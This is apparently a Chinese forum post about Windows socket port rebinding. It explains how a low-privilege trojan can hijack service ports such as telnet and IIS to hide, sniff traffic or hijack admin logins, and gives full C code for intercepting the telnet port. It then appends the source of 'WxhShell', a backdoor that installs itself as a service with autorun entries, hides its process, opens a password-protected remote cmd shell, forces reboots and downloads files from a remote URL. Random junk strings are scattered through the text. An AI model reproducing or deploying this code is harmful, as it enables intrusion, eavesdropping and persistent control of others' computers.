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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yd~fC:_ ] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bM-Rj1#Lo :I('xVNPz saddr.sin_family = AF_INET; /z5lxS@# #V6
-* saddr.sin_addr.s_addr = htonl(INADDR_ANY); m5pVt4 w-$w bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k
))*z FV ;`B35K 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4:'] 'E xNkY'4% 这意味着什么?意味着可以进行如下的攻击: (0Cszm. hl:eF:'hm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4QNR_w ->8q, W2A 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pxx(BE r\d:fot 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 clw91yrQn G,-OH-M! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 O| ]Ped9 xW =$j| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ol[gck|~ o}A #- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DeA'D| HqBPY[;s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >G2-kL_ PuaosMn(9 #include D8Rmxq! #include #:|?t&On #include JZzf,G: #include RH Vv}N0 DWORD WINAPI ClientThread(LPVOID lpParam); %Be[DLtE" int main() MF}Lv1/[-J { >EtP^Lu~f_ WORD wVersionRequested; lg>AWTW[ DWORD ret; lM*O+k WSADATA wsaData; `uA&w}(G BOOL val; Nh9!lB m*] SOCKADDR_IN saddr; ]ECZU SOCKADDR_IN scaddr; }!V<"d,! int err; !d.>r
7w SOCKET s; )`mF.87b&h SOCKET sc; dY<#a,eS int caddsize; 3gy;$}Lq T HANDLE mt; N RSse" DWORD tid; QV$dKjMS wVersionRequested = MAKEWORD( 2, 2 ); Vor9
?F&w err = WSAStartup( wVersionRequested, &wsaData ); IGT_
5te if ( err != 0 ) { 7RE6y(V1 printf("error!WSAStartup failed!\n"); B:4qW[U# return -1; J.2]km } ZHlin#" saddr.sin_family = AF_INET; [V,
;X 7 afA'.= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -Y?(Zz_w gsWlTI saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #.+*G`m saddr.sin_port = htons(23); ;}~Bv<# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YwWTv { }#*zjMOz printf("error!socket failed!\n"); G@EjWZQ return -1; sFCs_u1tNN } V
C'-h~ val = TRUE; !a(qqZ|s //SO_REUSEADDR选项就是可以实现端口重绑定的 V)QR!4De if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |~LjH |*M { KH>sCEt printf("error!setsockopt failed!\n"); <S@mQJS!y return -1; vC<kpf! } t0H=NUP8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `OReSg
2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %GCd?cFF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D.R|HqZ |uwteG5?$s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TL{pc=eBo { ku9FN ret=GetLastError(); X /,1] printf("error!bind failed!\n"); j_uY8c>3\q return -1; PB<Sc>{U } N|d.!Q;V.y listen(s,2); soQzIx while(1) n;^k { 7W firRM caddsize = sizeof(scaddr); :$Q]U2$mPS //接受连接请求 OGi4m | sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :'rZZeb' if(sc!=INVALID_SOCKET) bA^:p3 { t>GLZzO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'a/6]%QFd! if(mt==NULL) H&=4y) /. { D3AtYt printf("Thread Creat Failed!\n"); < Gy!i/ break; ?Gv!d } `)!2E6 = } +6)kX4 CloseHandle(mt); 2j/1@Z1j= } j X!ftm2 closesocket(s); 7U
)qC}( WSACleanup(); \v
P2B return 0; 0R 5^p } 2td|8vDA DWORD WINAPI ClientThread(LPVOID lpParam) FlA\Ad;v { l)PFzIz=V SOCKET ss = (SOCKET)lpParam; b,
**$ SOCKET sc; CE7pg&dJ)i unsigned char buf[4096]; e9hVX[uq SOCKADDR_IN saddr; `MYK XBM long num; `Y({#U DWORD val; Ysc|kxLb DWORD ret; KYmWfM3^ //如果是隐藏端口应用的话,可以在此处加一些判断 q{Ta?|x# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :f
!=_^} saddr.sin_family = AF_INET; -anFt+f- saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dYew7 saddr.sin_port = htons(23); (zro7gKked if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?r'TH/> { (VXx G/E3 printf("error!socket failed!\n"); -k[tFBlw return -1; e5>5/l]jsg } v6DxxE2n val = 100; U>B5LU9& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k5%0wHpk = { xBE
RCO^ ret = GetLastError(); UFIAgNKl return -1; ~)m t &
} G5nj,$F+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cwWSNm| { wI]R+. ret = GetLastError();
k E#_Pc return -1; L[D/#0qp } Rr;LV<q+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Yx}"> ;\ { ?(NT!es printf("error!socket connect failed!\n"); L3=YlX`UL closesocket(sc); <&Y}j&( closesocket(ss); >gZk
581/ return -1; bHQKRV } )<x;ra^ while(1) X?v^>mA { N4` 9TN7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &(uF&-PwO4 //如果是嗅探内容的话,可以再此处进行内容分析和记录 eYD9#y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !Nxn[^[?. num = recv(ss,buf,4096,0); @F(3*5c_Y if(num>0) mp+\! send(sc,buf,num,0); ?Str*XA; else if(num==0) Rqb{)L
X* break; LnI{S{]wDh num = recv(sc,buf,4096,0); ~q]|pD"\K| if(num>0) \l=KWa 3Q send(ss,buf,num,0); Q1ABnacR else if(num==0) }2BH_
2 break; <GT>s } cxP9n8CuT closesocket(ss); mb~=Xyk& closesocket(sc); '^oGDlkr H return 0 ; ahi57r[ } fdq^!MWTi 6PQJgki )*TW\v`B ========================================================== kTiPZZI ]dGr1ncu 下边附上一个代码,,WXhSHELL 4<3?al& i^s`6:rNu ========================================================== ghJ,s|lH 8F`BJ6=' #include "stdafx.h" \{MrQ2jd v-7Rb)EP #include <stdio.h> rz[uuY7 #include <string.h> EDgob^> #include <windows.h> _L:i=.hxN #include <winsock2.h> 5fj #include <winsvc.h> 5;K-,"UQ #include <urlmon.h> sx-Hw4.a" I"F
.%re #pragma comment (lib, "Ws2_32.lib") ><#2O #pragma comment (lib, "urlmon.lib") SP
D207 K5)yM @cq #define MAX_USER 100 // 最大客户端连接数 .cH{WZ #define BUF_SOCK 200 // sock buffer kuTq8p2E #define KEY_BUFF 255 // 输入 buffer GEe 0@q#YA m_E[bDON #define REBOOT 0 // 重启
,3J`ftCV #define SHUTDOWN 1 // 关机 _/N'I7g 0x>/ 6 << #define DEF_PORT 5000 // 监听端口 L&DF,fWsF& #E$Z[G] #define REG_LEN 16 // 注册表键长度 _']%qd"% #define SVC_LEN 80 // NT服务名长度 35%[DUkb I", &%0ycm // 从dll定义API [ n0##/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >TlW]st typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bQ^DX `o6P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q2S!m6 ! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kY'<u |Uy e>%*}4 // wxhshell配置信息 0U~;%N+lv struct WSCFG { j5,^9' int ws_port; // 监听端口 (/"K+$8' char ws_passstr[REG_LEN]; // 口令 nI` f_sp int ws_autoins; // 安装标记, 1=yes 0=no wZo.ynXT char ws_regname[REG_LEN]; // 注册表键名 ~<2 IIR$H char ws_svcname[REG_LEN]; // 服务名 hr_9;,EPh char ws_svcdisp[SVC_LEN]; // 服务显示名 OD?y char ws_svcdesc[SVC_LEN]; // 服务描述信息 l}Q"Nb) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O:5Rp_?^ int ws_downexe; // 下载执行标记, 1=yes 0=no =.qm8+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 9k=U0]!ch char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7g A08M[O I9[1U }; #K:-Bys5v $S6HZG:N // default Wxhshell configuration kvW|= struct WSCFG wscfg={DEF_PORT, BrlzN='j} "xuhuanlingzhe", cQ3W;F8|n 1, eq@am(#&kY "Wxhshell", fr}1_0DDz "Wxhshell", ,?xLT2>J_ "WxhShell Service", )h>\05|T "Wrsky Windows CmdShell Service", Z>(r9R3{ "Please Input Your Password: ", z.2r@Psk 1,
#gW /qJ " http://www.wrsky.com/wxhshell.exe", c-4m8Kg?L "Wxhshell.exe" b!'l\~`{i }; JQKC;p biK)&6|`sa // 消息定义模块 ;ZQ-uz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D00G1:Ft(T char *msg_ws_prompt="\n\r? for help\n\r#>"; &v5G92 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; r/NSD$-n char *msg_ws_ext="\n\rExit."; [x2JFS#4 char *msg_ws_end="\n\rQuit."; ia%z+:G char *msg_ws_boot="\n\rReboot..."; @uI? char *msg_ws_poff="\n\rShutdown..."; f7XQ~b char *msg_ws_down="\n\rSave to "; h4hN1<ky\ gk!E$NyE char *msg_ws_err="\n\rErr!"; YG0Px Zmi char *msg_ws_ok="\n\rOK!"; C5O5S:|' w5F4"nl#O} char ExeFile[MAX_PATH]; B :.@Qi^ int nUser = 0; GXDC@+$14 HANDLE handles[MAX_USER]; CQ6'b,L& int OsIsNt; .]W;2G q"gqO%Wb| SERVICE_STATUS serviceStatus; qP~WEcH`[ SERVICE_STATUS_HANDLE hServiceStatusHandle; ~7dM!g{W G'ij?^? // 函数声明 A}t %;V2 int Install(void); NFk}3w: int Uninstall(void); [##`Um int DownloadFile(char *sURL, SOCKET wsh); 403[oOj int Boot(int flag); ~bdv_|k void HideProc(void); 0HGl f
int GetOsVer(void); z%(Fo2)^ int Wxhshell(SOCKET wsl); &49u5&TiP void TalkWithClient(void *cs); &+mV7o int CmdShell(SOCKET sock); V]79vC int StartFromService(void); ifXW int StartWxhshell(LPSTR lpCmdLine);
!M KcC!N{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %'Zc2h&z VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,N53Iic Iz
DG&c // 数据结构和表定义 ?Bo?JMV SERVICE_TABLE_ENTRY DispatchTable[] = y }\r#"Z` { x^A7'ad0 {wscfg.ws_svcname, NTServiceMain}, \HAJ\9*w) {NULL, NULL} sX+`wc }; kOw=c Gt '.?^uM // 自我安装 b2N6L2~V int Install(void) 6X/wdk {
qE )Y}oN char svExeFile[MAX_PATH]; 5L8&/EN9- HKEY key; ^:`oP"%-T strcpy(svExeFile,ExeFile); ~12_D'8D[ "`pNH' // 如果是win9x系统,修改注册表设为自启动 S]}}A if(!OsIsNt) { n.*3,4.] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PU W[e% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U^MuZ RegCloseKey(key); ,V,f2W 4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $@_{p*q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 93j{.0]X RegCloseKey(key); M\Se_ return 0; a 6%@d_A } O|QUNr9 } |6aJwe+*
} tQWWgLM else { oL]mjo=jN \K;op2 // 如果是NT以上系统,安装为系统服务 L>dkrr)e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 74+A+SK[ if (schSCManager!=0) (S`6Q { zDD4m`2 SC_HANDLE schService = CreateService aX;A==> ( x?#I4RJH; schSCManager, U&X2cR &a wscfg.ws_svcname, YutQ ]zYA. wscfg.ws_svcdisp, @5xu>g Kn SERVICE_ALL_ACCESS, (Yv{{mIy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B
MM--y@ SERVICE_AUTO_START, .}q]`<]ze SERVICE_ERROR_NORMAL, ow$q7uf svExeFile, ^i+[m NULL, ]jyM@ NULL, @Br
{!#Wf NULL, u:@U
$:sZ NULL, Y25^]ON*\^ NULL #02Kdo&Vy ); Zb(E:~h\ if (schService!=0) AEY$@!8
{ \q "N/$5{f CloseServiceHandle(schService); ef=K_,
_ CloseServiceHandle(schSCManager); <:&de8bT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >{C\H.N strcat(svExeFile,wscfg.ws_svcname); t6+YXjXK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B:<
]Hl$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y`yZR
_ RegCloseKey(key); kbYeV_OwM return 0; Bq@zaMv } iib } 5u r)uz]w8 CloseServiceHandle(schSCManager); UZGDdP } ]ab#q= } XM/vDdR Tkw;pb return 1; LH2PTW\b!6 } }u%"$[I} sYqgXE. // 自我卸载 y500Xs[c int Uninstall(void) i0:>Nk { :]PM_V| HKEY key; Dw_D+7>(v Iy';x if(!OsIsNt) { <xo-Fv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { */z??fI27 RegDeleteValue(key,wscfg.ws_regname); 06 i;T~Y RegCloseKey(key); N2ied^* 0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MV0Lq:# N RegDeleteValue(key,wscfg.ws_regname); +pf5\#l? RegCloseKey(key); 6?qDdVR~] return 0; x({H{'9? } 9Ma0^_ } rv>^TR*,! } BQ/PGY> else { \L # INP4~ S{#cD1>. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); maNW{"1 if (schSCManager!=0) %g3,qI { DWU`\9xA* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -oyO+1V if (schService!=0) j}:~5 |. { :K':P5i if(DeleteService(schService)!=0) { =8Ehrlq CloseServiceHandle(schService); }tG3tz0%fX CloseServiceHandle(schSCManager); 2&Jdf return 0; }7s>B24J } HfB@vw^ CloseServiceHandle(schService); HN6}R|IH } ;@3FF CloseServiceHandle(schSCManager); FS"eM"z } wW 2d\Zd& } WGu%7e] x%N\5 V1 return 1; .fYZ*=P;c } _:g&,2bc id^sr
Mw // 从指定url下载文件 (;_FIUz0 int DownloadFile(char *sURL, SOCKET wsh) +nL+N { D)@XoM( HRESULT hr; k5`OH8G char seps[]= "/"; j(rL char *token; '?QuJFki char *file; @+LfQY char myURL[MAX_PATH]; EH*o"N`!r char myFILE[MAX_PATH]; 0d^Z uTN l;A,0,i strcpy(myURL,sURL); 2xwlKmI N token=strtok(myURL,seps); e@#kRklV& while(token!=NULL) %JZZ%xc { L<V3KS2y file=token; +7V{ABfGl token=strtok(NULL,seps); zYY$D. } *sw7niw O#a6+W"U GetCurrentDirectory(MAX_PATH,myFILE); (X[CsaXt strcat(myFILE, "\\"); j*v40mXl`2 strcat(myFILE, file); ? "/ fPV- send(wsh,myFILE,strlen(myFILE),0); Iu@y(wyg send(wsh,"...",3,0); -r7]S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bzN-*3YE= if(hr==S_OK) S8d8%R~1=h return 0; 5kypMHJm else nmU_N:Y return 1; !y:%0{l mmXm\]r>4 } Q/ms]Du }n_p$g[Nj/ // 系统电源模块 /93l74.w int Boot(int flag) wC_l@7t { epHJ@ W@# HANDLE hToken; ulFzZHJ TOKEN_PRIVILEGES tkp; wXMDh$ @Ky> 9m{ if(OsIsNt) { '*^yAlgtt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /iC;%r1L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v1JS~uDz tkp.PrivilegeCount = 1; 7dG79H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *OJ/V O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -|k)tvAm if(flag==REBOOT) { LQ11ba if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J5p"7bc return 0; 3.d"rl } Y9=K]GB
else { Uxfl_@lJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 57a2^ return 0; 'ly?P8h } ^9OUzTF } >_dx_<75& else { "xmP6=1 if(flag==REBOOT) { C?ib_K* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9E2j! return 0; xkNyvqcw } Rlnbdb;!k else { 1OLqL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?bZovRx return 0; \!vN } gWABY%!} } 8P7"&VYc8 ml0.$z return 1; v2r&('pV } UJfT!= =U >d"3<S ;b // win9x进程隐藏模块 n\Fp[9+Z\ void HideProc(void) &AVpLf:? { Aa0b6?Jm wbDM5% HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FLg*R/ if ( hKernel != NULL ) )#|<w9uec { 4(}J.-B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;*ix~taL% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '7wd$rl FreeLibrary(hKernel); ih,%i4<}6m } ah
@uUHB :@W.K5 return; NNhL*C[_7 } G22NQ~w8 Pq*s{ // 获取操作系统版本 V.ht,
~l int GetOsVer(void) @`tXKP$so { ES~^M840f OSVERSIONINFO winfo; 21s4MagC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UYk>'\%H0 GetVersionEx(&winfo); w-Nhs6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ol"3a| return 1; MuoF FvAA else g%F"l2M return 0; g(VNy@ } &l$Q^g %ms'n // 客户端句柄模块 1Je9,dd6 int Wxhshell(SOCKET wsl) r`)L~/ { 8+]hpa,q SOCKET wsh; 08X_}97#WF struct sockaddr_in client; j!7`] DWORD myID; U\/5;Txy( yC
77c= while(nUser<MAX_USER) hA\K</h. { [."[pY int nSize=sizeof(client); `V)Z)uN{0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p a}*E if(wsh==INVALID_SOCKET) return 1; Z_\C*^ ?JL7=o
X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J=.`wZQkS if(handles[nUser]==0) %WqNiF0- closesocket(wsh); {`2R,Jb%S else E?(xb B nUser++; o=FE5"t } eC5 $#,HiC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^pM+A6
XY + <,gB $j return 0; NmMIQ@K } ;8!Z5H %uv?we7 // 关闭 socket u%'\UmE w void CloseIt(SOCKET wsh) .2J
L$" { VMoSLFp^R closesocket(wsh); jx acg^c nUser--; v]__%_ ExitThread(0); ?+T^O?r|O } .NtbL./=| ,=?{("+ // 客户端请求句柄 "[}O"LTQ void TalkWithClient(void *cs) V\(:@0" { V]*b4nX7 fgihy SOCKET wsh=(SOCKET)cs; $}")1|U,X char pwd[SVC_LEN]; As+t##gN char cmd[KEY_BUFF]; -v6M< char chr[1]; x `V;Y]7' int i,j; n$xQ[4eH) 0]HYP;E"U while (nUser < MAX_USER) { L
8{\r$ P/&]?f0/ if(wscfg.ws_passstr) { ''\;z<v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q80S[au //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]*7Y~dO //ZeroMemory(pwd,KEY_BUFF); EUsI%p i=0; oK{ V7 while(i<SVC_LEN) { UT}i0I9 s1?[7yC // 设置超时 p4p@^@<>X fd_set FdRead; ~b{Gz6u> struct timeval TimeOut; ;[RZ0Uy= FD_ZERO(&FdRead); nx0K$Ptq FD_SET(wsh,&FdRead); +cU>k} TimeOut.tv_sec=8; qRbf2; TimeOut.tv_usec=0; h*u`X>!! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iAa;6mH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "`6n6r42 +a^F\8H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5BBD.! pwd =chr[0]; /%lZu^ if(chr[0]==0xd || chr[0]==0xa) { |W<+U pwd=0; :$MG*/Q break; I(=V}s2 } QRLt9L i++; OT'[:|x ; } C"IKt |lv|!]qAma // 如果是非法用户,关闭 socket XD"_Iq! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G%d
( } ioPUUUb) yoAfc send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |p$spQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ePIiF_X _=|vgc while(1) { y\{%\ $ ax
41N25 ZeroMemory(cmd,KEY_BUFF); DNP13wp@ .jMq // 自动支持客户端 telnet标准 A<;SnXm j=0; %kgkXc~6|x while(j<KEY_BUFF) { J*9$; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }^B6yWUN cmd[j]=chr[0]; 9)VF 1LD if(chr[0]==0xa || chr[0]==0xd) { -GLMmZJt cmd[j]=0; pKi& [ break; Rb3V^;i } -.{g}R% j++; ;2Q~0a| } h;3cd0 3j3N!T9 // 下载文件 Fv<`AU if(strstr(cmd,"http://")) { r1fGJv1!o send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;NlWb = if(DownloadFile(cmd,wsh)) Ie%EH send(wsh,msg_ws_err,strlen(msg_ws_err),0); /r_~:3F else H.UX,O@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [V:\\$ } t|m=J`a{q; else { q{+_
<2U| 10H)^p%3+ switch(cmd[0]) { <oz!H[! zRPeNdX // 帮助 vB+ ' case '?': { Zdn~`Q{ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "1,pHR-+R break; 0T46sm r } 'fPdpnJ< // 安装 @Vu(XG case 'i': { ~H!S,"n^,P if(Install()) "+unS)M;Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;t+ub8 else jbR0%X2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E\C9|1) break; K(q-?n`< } *YlV-C<}W" // 卸载 B 2ec@]uD` case 'r': { 36am-G if(Uninstall()) MeUaTJFEB send(wsh,msg_ws_err,strlen(msg_ws_err),0); _SA5e3# else cp o-. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U)3DQ6T99 break; fNrgdfo } NssELMtF!g // 显示 wxhshell 所在路径 ;D$)P7k6 case 'p': { wd)jl% char svExeFile[MAX_PATH]; /@|/^vld strcpy(svExeFile,"\n\r"); f^VP/rdg strcat(svExeFile,ExeFile); KgR<E send(wsh,svExeFile,strlen(svExeFile),0); 'R_g">B. break; 4Fm90O } \m1~jMz*>k // 重启 u,6~qQczE case 'b': { }3?n~s\)6f send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @lvyDu6e if(Boot(REBOOT)) "Y\_TtY send(wsh,msg_ws_err,strlen(msg_ws_err),0); &~W:xg(jN else { zk( U8C+ closesocket(wsh); 2,*M|+W~ ExitThread(0); :^(>YAyHj^ } HbW0wuI break; QcpXn4/* } l<);s // 关机 A,4fEmWM case 'd': { ){UcS/GI= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &-;5*
lg)0 if(Boot(SHUTDOWN)) NC38fiH_N send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7.`fJf? else { db6mfxi closesocket(wsh); 1/"WD?a ExitThread(0); rdJR 2 } s-v break; &?(?vDFfZ } +>PX&F // 获取shell 6:~v4W!k case 's': { #B\"'8# CmdShell(wsh); AA7C$;Z15~ closesocket(wsh); pa#IJ ExitThread(0); s;A@*Y;v break; cb}[S:&| } uS^Ipxe\ // 退出 G["c\Xux case 'x': { [ 1u-Q%?# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gn&4V}F CloseIt(wsh); !@v7Zu43, break; @mfEKU! } ^f(@gS}? // 离开 V 0rZz case 'q': { }I>tO9M send(wsh,msg_ws_end,strlen(msg_ws_end),0); LEtG|3Dx closesocket(wsh); k`N^Vdr WSACleanup(); 5s].
@C8 exit(1); 9th,VnD0 break; r
>nG@A } )>Yu!8i } T~='5iy| } ,KFapz! tdu$pC6 // 提示信息 zO iu5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Yn
+<I } S.f5v8 } 2=^m9% n<u
$=H return; X)% A6M } [D4Es >j QWn@ // shell模块句柄 {Ja!~N;3 int CmdShell(SOCKET sock) 1 |jt"Hz { ?pd8w#O STARTUPINFO si; :\o {_ ZeroMemory(&si,sizeof(si)); VF ys.= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i ,/0/?)*_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NN?`"Fww PROCESS_INFORMATION ProcessInfo; gp\<p-} char cmdline[]="cmd"; .~7FyLl$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?)ONf#4Y return 0; :Cj OPl
} (R("H/6xs ^\S~?0^m // 自身启动模式 Ug<#en int StartFromService(void) qO|R^De { m* kl typedef struct q1KZ5G)6GJ { \}|o1Xh2 DWORD ExitStatus; Sxh]R+Xb DWORD PebBaseAddress; Iepsz DWORD AffinityMask; jJPGrkr DWORD BasePriority; ~o~!+`@q ULONG UniqueProcessId; pWJFz- ULONG InheritedFromUniqueProcessId; K42K!8$ } PROCESS_BASIC_INFORMATION; mrF58Uq;A ^0\ PROCNTQSIP NtQueryInformationProcess; Y<%@s}zc UWo]s. static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pz.JWCU1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JAem0jPC8 yL-YzF2 HANDLE hProcess; G\+L~t PROCESS_BASIC_INFORMATION pbi; y#z m0a?LY HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (bH`x]h# if(NULL == hInst ) return 0; gq'Y!BBQy @X;!92i g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /k,-P g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kZGRxp9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 